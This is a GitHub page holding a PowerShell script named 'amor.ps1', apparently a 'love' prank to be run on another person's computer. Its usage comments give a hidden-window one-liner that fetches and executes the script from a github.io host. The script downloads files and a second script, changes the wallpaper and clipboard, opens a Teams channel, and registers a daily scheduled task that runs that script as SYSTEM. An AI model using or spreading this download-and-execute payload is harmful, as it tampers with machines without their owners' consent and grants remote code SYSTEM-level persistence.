-
Notifications
You must be signed in to change notification settings - Fork 0
/
amor.ps1
executable file
·125 lines (95 loc) · 4.74 KB
/
amor.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
# USAGE:
# Win + R:
# powershell -w h -c ". ([Scriptblock]::Create((([System.Text.Encoding]::ASCII).getString((Invoke-WebRequest -Uri "https://juanbanpar.github.io/gradlove/amor.ps1").Content))))"
# Powershell:
# . ([Scriptblock]::Create((([System.Text.Encoding]::ASCII).getString((Invoke-WebRequest -Uri "https://juanbanpar.github.io/gradlove/amor.ps1").Content))))
$Data = @{
WallpaperURL = "https://juanbanpar.github.io/gradlove/files/wall.jpg"
GifURL = "https://juanbanpar.github.io/gradlove/files/heart-locket.gif"
MusicURL = "https://juanbanpar.github.io/gradlove/files/music.wav"
PersistentURL = "https://juanbanpar.github.io/gradlove/persistent.ps1"
ReadmeURL = "https://juanbanpar.github.io/gradlove/README_WINDOWS.txt"
DownloadDirectory = "$env:USERPROFILE\amor"
ReadmeDirectory = "$env:USERPROFILE\Desktop"
}
$WallpaperDest = $($Data.DownloadDirectory + "\Wallpaper." + ($Data.WallpaperURL -replace ".*\."))
$GifDest = $($Data.DownloadDirectory + "\Gif." + ($Data.GifURL -replace ".*\."))
$MusicDest = $($Data.DownloadDirectory + "\Music." + ($Data.MusicURL -replace ".*\."))
$PersistentDest = $($Data.DownloadDirectory + "\Persistent." + ($Data.PersistentURL -replace ".*\."))
$ReadmeDest = $($Data.ReadmeDirectory + "\README." + ($Data.ReadmeURL -replace ".*\."))
# Creates the LOVE folder on the target computer
New-Item -ItemType Directory -Path $Data.DownloadDirectory -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Path $Data.ReadmeDirectory -ErrorAction SilentlyContinue
# Downloads SO MUCH LOVE
Start-BitsTransfer -Source $Data.WallpaperURL -Destination $WallpaperDest
Start-BitsTransfer -Source $Data.GifURL -Destination $GifDest
Start-BitsTransfer -Source $Data.MusicURL -Destination $MusicDest
Start-BitsTransfer -Source $Data.PersistentURL -Destination $PersistentDest
Start-BitsTransfer -Source $Data.ReadmeURL -Destination $ReadmeDest
# Function of LOVE
Function Set-WallPaper {
<#
.SYNOPSIS
Applies a specified wallpaper to the current user's desktop
.PARAMETER Image
Provide the exact path to the image
.PARAMETER Style
Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)
.EXAMPLE
Set-WallPaper -Image "C:\Wallpaper\Default.jpg"
Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit
#>
param (
[parameter(Mandatory=$True)]
# Provide path to image
[string]$Image,
# Provide wallpaper style that you would like applied
[parameter(Mandatory=$False)]
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
[string]$Style
)
$WallpaperStyle = Switch ($Style) {
"Fill" {"10"}
"Fit" {"6"}
"Stretch" {"2"}
"Tile" {"0"}
"Center" {"0"}
"Span" {"22"}
}
If($Style -eq "Tile") {
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
}
Else {
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
}
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Params
{
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
public static extern int SystemParametersInfo (Int32 uAction,
Int32 uParam,
String lpvParam,
Int32 fuWinIni);
}
"@
$SPI_SETDESKWALLPAPER = 0x0014
$UpdateIniFile = 0x01
$SendChangeEvent = 0x02
$fWinIni = $UpdateIniFile -bor $SendChangeEvent
$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
}
# Make our LOVE last forever
$Trigger = New-ScheduledTaskTrigger -Daily -At "11:00 am"
$Action = New-ScheduledTaskAction -Execute "PowerShell" -Argument "C:\amor\persistent.ps1"
$Principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount
Register-ScheduledTask -TaskName "Amor" -Trigger $Trigger -Action $Action -Principal $Principal
# Sets LOVE images
Set-WallPaper -Image $WallpaperDest -Style Fit
# Add to the clipboard LOVE gif
Get-ChildItem $GifDest | Set-Clipboard
# Open my favourite channel to express HOW MUCH LOVE I have
start "https://teams.microsoft.com/l/channel/19%3acd6d7b457ff84d86b3a182a310139597%40thread.tacv2/Random?groupId=1a0ebcf0-5300-494f-a968-317e4e6c7a42&tenantId=66102552-ecf2-44f2-aeee-14fa85460e0f"